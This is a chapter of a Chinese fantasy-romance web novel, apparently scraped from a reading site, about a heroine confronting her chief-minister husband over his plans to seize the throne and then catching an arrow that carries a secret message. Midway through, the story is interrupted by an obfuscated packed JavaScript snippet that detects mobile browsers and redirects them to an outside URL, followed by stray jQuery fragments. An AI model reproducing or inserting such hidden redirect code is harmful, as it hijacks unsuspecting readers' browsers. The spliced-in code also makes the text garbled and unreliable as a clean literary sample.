123读书网 > 玄幻小说 > 首辅夫人逃跑日常 > 49. 别走
    她愣了,看着眼前这人,有些不知所措道:“你还想娶我?你不怕我吗?”


    “怕什么?”商凛不解。


    年雪朝叹了口气,垂眸盯着被他攥在一起的手,又道:“我现在如何能真真正正只凭自己的心意嫁你,我连自己是怎么活过来的都不知道,一醒来不知怎得就出现在了别人的身体里,这样人不人鬼不鬼的,你不怕?”


    商凛张了张口想要说哈,又被年雪朝新一句话堵住嘴。


    “今夜虽因龙体抱恙未曾设宴庆贺,可刺杀的那条窄巷,临着后宫,我的身份,瞒不住了,待明日一早,别说是宫里,就是朝上,上京城里,都会议论,你今夜做出幽禁帝王之事,若明日不同我划清关系,你那谋反的罪名便又要坐实了,你不怕?”


    她这一字一句说的真切,这一切,像一根根刺一样堵在心口,叫她今夜委实难受。


    她拒绝了跟谢十堰回锦乡,拿商凛当作说词,实际上是不想连累他罢了,而如今,她也不会连累商凛,在马车上她便想好了同这人划清界限,跟着他的马车出宫后便找机会离开,只是没想到过,会是现在这样。


    看着他穿着婚服站在她面前,用那双期待的眼神盯着她看,想要她回答,她心里的不舍愈发强烈,可终归是理智占了上风。


    他今夜幽禁了她父皇,再之后呢,怕是要刺杀太子,自己上位了罢。


    他们自始至终都不是同路人,如今这么快就走到了交叉路口,也是时候该分开了。


    她将手从他掌心抽离,一把抓下头上的盖头,像是逃离似的,提起裙摆转身跑去,可他伸出手臂,拦住她的小腹,稍稍用力,就将她圈禁回怀里。


    身后,头顶,耳边,是她少见的,他略显阴冷的声音。


    “年雪朝,自始至终,怕的都是你罢了,你放心,只要你肯乖乖待在我身边,关于你的身份,就绝不会传出去。”


    她挣扎着想要逃离,可腰身被他死死禁锢在怀里,她斗不过他,咬咬牙冷笑道:“待在你身边,再之后呢?亲眼看着你是怎样杀我亲眷,篡权夺位的?”


    商凛皱眉:“你怎知我要篡权?谢十堰方才都跟你说什么了?”


    他这后半句话里的威胁气被她一瞬捕捉,寄人篱下的生活过久了,总是能毫不费力的将旁人的情绪收进眼底。


    “他什么也没说,可我不是瞎子。”年雪朝道:“自入商府的那日,我便知道,有朝一日,你定不会屈居在区区一个首辅之位上,人都是有欲望的,可偌大的商府里面,却空荡荡的,似客栈一般,你的心在这里没有归属,也没有想一直待在这儿的心思,那你这样的人想要什么呢?”


    她自嘲一笑:“你虽当了我父皇数十年的傀儡,可这十年你所做的种种,偏偏让你全了羽翼,八年前,你奉父皇暗令南下,对萧叔下死手,既解了父皇心头之恨,也让萧家军就此散了伙,五年前,你将朝中几名重臣暗自定罪,抄了满门,名义上是清君侧,实际上却让你坐稳了这首辅之位,此后在朝廷上一言定生死,三年前,边疆屡次来犯,你又以朝中无可用之军主动暴露了自己豢养私军之事,解了边疆之患,让父皇无法定罚于你。”


    “这一切的一切,难道不都是为了谋反做打算么?”年雪朝说着说着红了眼,这些摆在明面上的事实她向来不敢细想,此前她回京,信了他投毒害命,整日整夜的睡不好,后来深林,她得知了真相,拼命为他洗刷冤屈,可如今,她再也骗不了自己了。


    商凛喉结滚动一瞬,环着她腰身的手攥得更紧了些。


    他不知此刻自己是该庆幸,还是该害怕,庆幸的是,她还不知道他的真实身份,害怕的是,她只是知道了他的意图,就如此迫切的想要离开,那若是有一天……


    他不敢再想了。


    商凛道:“我不会谋反的,你再信我最后一次,好不好?”


    不管怎样,他都要先稳住她,他绝不能失去她。


    反正已经演了这么久,再多演些时候也无妨。


    年雪朝笑了,这笑容却并不如往常那样真心,“事已至此,你叫我如何信你?”


    她把话递到这儿,步步紧逼,“如今你幽禁我父皇,称他重病卧榻,那谁来把持朝政?”


    其实今夜她做好了两种打算,若是这些时日她的美人计无效,他对她并无感情,那她便逃,带着弟弟逃,反正一无所有又不是第一次,她不怕重来一次。


    可若是他对她生了情,那便就有更好的法子,保下她跟弟弟的命,鱼死网破,逼他扶植寒清即位。


    商凛又何尝不知她心中所想,这女人,比他想象的更聪明,心更狠。


    这样想着,他的手却未松半分,妥协般,他将头靠在她的肩颈上,长长呼吸一口气后,道:“夫人想如何做,我都听你的。”


    她直挺着脖子,侧头看向他,一字一句道:“明日早朝,你宣旨三天后,便举行登基大典,让寒清继位。”


    “在这之后,那我呢?”商凛从她脖颈间抬起眼来瞧她,“我们呢?”


    年雪朝盯着他,眼底没有什么情绪,活像一个没有灵魂的木偶,“你还是当你的首辅,在旁辅佐,我们还和往常一样。”


    她倒是挺会打算的,商凛将视线收回,在思忖片刻后,他还是抵挡不了后半句的诱惑,罢了,她说如何便如何罢。


    商凛跟她说好,她按照他的要求换上了那身婚服,与他喝了小厮送上来的合卺酒,两人拜了天地后,年雪朝迫不及待的将婚服褪下,换上原先合身的衣裳,在北街闲逛。


    事已至此,何必再跟自己过不去,眼前的快乐也是快乐,她不想让自己再胡思乱想,于是每个小摊她都逛逛都瞧瞧。


    商凛就跟在她身后半米的距离,跟着她走走停停,不敢靠的更近,也不想离的更远。


    在一个面具摊前,年雪朝停了脚步,她拿起了一眼便看中的小狐狸,放在自己脸上比了比,回头朝商凛道:“怎样,它头上那两撮毛,看起来是不是很傻?”


    她话刚说完,扬起来的嘴角一瞬僵硬下去,她总是爱忘记,他们还在冷战,不,准确的是,她还在同他冷战。


    “不傻,”商凛伸手将垂在她耳边的绑带系起来,又道:“好看。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239124|193734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “人好看。”怕她误会,他又补充道。


    “我知道。”年雪朝慌乱的摸摸脸上的面具,又胡乱从小摊上拿了个一模一样的塞进他手里,道:“这里人多眼杂,我可不想再被来刺杀你的人误伤了。”


    他蓦地想起那次深林,她替她挡的那一箭,他盯向她那瘦弱的肩膀,想着那夜给她拔箭时近乎穿透骨头的伤口,莫名红了眼眶。


    “这样也好。”


    戴上面具后,年雪朝逛起街来觉得自在不少,一路上,她吃了脆饼,饮了甜粥,还买了几提烟花,走的脚都酸了。


    一直跟在身后的人快步走到她身前,他似是看出了她的脚步有些虚浮,弯腰道:“上来。”


    她扫了眼他两侧提着的大大小小的物什,有她吃了一口觉着甚好的梨子粥,也有她一提里只咬了一口的酥肉饼,还有那重重的几提烟花桶。


    “不用……”她话还未说完便被身前人看透想法。


    商凛:“不用心疼,你夫君此前在军营里扛的木头桩子,比你重多了,也没泄一口力气。”


    “谁心疼了?”她一步并作两步走过去,刚刚靠近,便听到一声哨响,她抬眼瞧去,又是一根飞速靠近的箭。


    她真是服了自己这乌鸦嘴,前面还说刺客之事,没成想这就又碰见了,更何况,他们还戴着面具,这些刺客也是眼睛尖,他们在带着面具的人群里混了一晚上,怎得才刚出街就被盯上了。


    虽此前嘴上说不想再被他连累,可身体还是很诚实的又挡在了他的身前,“小心!”


    看着席卷而来的利箭就要靠近,她推开他已来不及,可心里又怕的紧,眼睛闭的紧紧的。


    脸上传来一阵厉风,砰一声,那利箭将她额前的面具击裂,碎成两半砸到地上,可那箭似是就这样停在了她的额前,没了后面的动作。


    她大气都不敢喘,慢慢睁开眼,就看着一双手从她身后反握住了箭炳,而那箭炳上,还颤着一个纸筒。


    商凛也不知是何时直起身来,他将手收回去,默默将箭炳藏进袖袍里。


    “年雪朝,你是不是傻,哪有人看见飞过来的箭还要往上扑的,你不是说过不想再被我连累了么,为何还要这么不要命的过来。”


    年雪朝没管他说什么,眼神一直死死盯着他藏进袖间的手:“拿出来。”


    她缓过神来,蓦地响起箭飞来前那一声哨响,这哨声,她曾听过,是上次大婚的时候,她不会记错,这是商家军的军哨。


    若是寻常之事,用不着如此大费周章的用箭羽传递消息,直接同他讲便是,如今这样偷偷摸摸的传信,这信,必然有什么见不得人的秘密。


    商凛没动,垂眸想要拉她的手,年雪朝退后一步,伸手道:“拿出来。”


    “一个淬了毒的箭而已,我只是想带回去让下面的人探究一番,过你的手,怕你中毒。”


    “说谎,那是毒吗?那箭上分明是密信。”


    “雪朝……”


    “你是不是想反悔,你还是想对寒清他们下手,还是说,你还有什么别的秘密瞒着我?”